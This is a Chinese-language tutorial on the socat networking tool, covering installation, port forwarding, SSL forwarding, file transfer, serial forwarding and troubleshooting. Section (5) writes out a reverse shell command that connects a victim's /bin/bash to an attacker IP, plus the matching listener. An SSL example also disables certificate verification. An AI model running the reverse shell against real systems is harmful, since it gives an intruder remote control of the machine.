socat
(Socket Cat)是一个强大的网络工具,用于在两个数据流之间建立双向通道,支持 TCP、UDP、SSL、文件、管道、设备等 多种协议。它类似于 netcat
(nc),但功能更丰富,适合端口转发、代理调试、网络测试等场景。
1. 安装 socat
在 Linux 系统中,通常可以通过包管理器安装:
# Debian/Ubuntu
sudo apt install socat
# CentOS/RHEL
sudo yum install socat
# macOS (Homebrew)
brew install socat
2. 基础语法
socat
的基本命令格式为:
socat [选项] <输入流> <输出流>
- 输入流(source):监听或读取数据的地方(如端口、文件)。
- 输出流(target):发送或写入数据的地方(如另一台服务器、文件)。
3. 常用场景与示例
(1) TCP 端口转发
将本机 5432
端口的请求转发到另一台服务器的 5432
端口:
socat TCP-LISTEN:5432,bind=127.0.0.1,reuseaddr,fork TCP:192.168.1.100:5432
TCP-LISTEN:5432
:监听本机 5432 端口。bind=127.0.0.1
:仅允许本地连接(去掉可允许外部访问)。reuseaddr
:允许端口复用(避免Address already in use
)。fork
:保持后台运行(允许多个连接)。
(2) UDP 端口转发
socat UDP-LISTEN:53,bind=127.0.0.1,reuseaddr,fork UDP:8.8.8.8:53
- 将本机 UDP 53 端口(DNS)转发到 Google DNS(
8.8.8.8:53
)。
(3) SSL 加密转发
如果目标服务器使用 SSL(如 PostgreSQL、HTTPS),可以加密传输:
socat TCP-LISTEN:5432,bind=127.0.0.1,reuseaddr,fork OPENSSL:192.168.1.100:5432,verify=0
OPENSSL
:使用 SSL 加密传输。verify=0
:跳过证书验证(生产环境建议配置证书)。
(4) 文件传输
发送文件:
socat -u FILE:data.txt TCP-LISTEN:8888
-u
:单向传输(从文件到网络)。FILE:data.txt
:读取本地文件。TCP-LISTEN:8888
:监听 8888 端口,等待接收方连接。
接收文件:
socat -u TCP:192.168.1.100:8888 FILE:received.txt,create
create
:如果文件不存在则创建。
(5) 反向 Shell
目标机器(受害者)主动连接:
socat TCP:<攻击者IP>:4444 EXEC:/bin/bash
EXEC:/bin/bash
:在连接成功后执行/bin/bash
(提供 Shell)。
攻击者监听:
socat TCP-LISTEN:4444 -
- 连接成功后,攻击者可以执行命令。
⚠️ 注意:此功能可用于合法渗透测试,但滥用可能违法!
(6) 串口转发
将串口 /dev/ttyS0
数据转发到网络:
socat /dev/ttyS0,raw,echo=0 TCP-LISTEN:8888
raw,echo=0
:禁用终端回显,避免数据干扰。
4. 高级选项
选项 | 说明 |
---|---|
-d |
显示调试信息(-d -d 更详细) |
-v |
打印传输的数据(类似 tcpdump ) |
-ly |
以行缓冲模式运行(适合文本协议) |
reuseaddr |
允许端口复用 |
fork |
允许多个连接 |
keepalive |
保持 TCP 连接存活 |
5. 典型问题
(1) Address already in use
- 使用
reuseaddr
选项:socat TCP-LISTEN:80,reuseaddr,fork ...
(2) 如何后台运行?
- 使用
nohup
或tmux
:nohup socat TCP-LISTEN:5432,fork TCP:192.168.1.100:5432 &
(3) 如何查看连接状态?
- 使用
netstat
或ss
:ss -tulnp | grep socat
6. 总结
socat
是一个非常灵活的工具,适用于:
- 端口转发(TCP/UDP)
- SSL 加密代理
- 文件传输
- 反向 Shell
- 串口调试
- 网络调试
相比 nginx
,它更适合临时调试或非 HTTP 协议转发;而 nginx
更适合长期稳定的 HTTP/TCP 代理。
你可以尝试结合 socat
和 systemd
实现持久化运行,或者用 iptables
做更复杂的流量控制。
评论区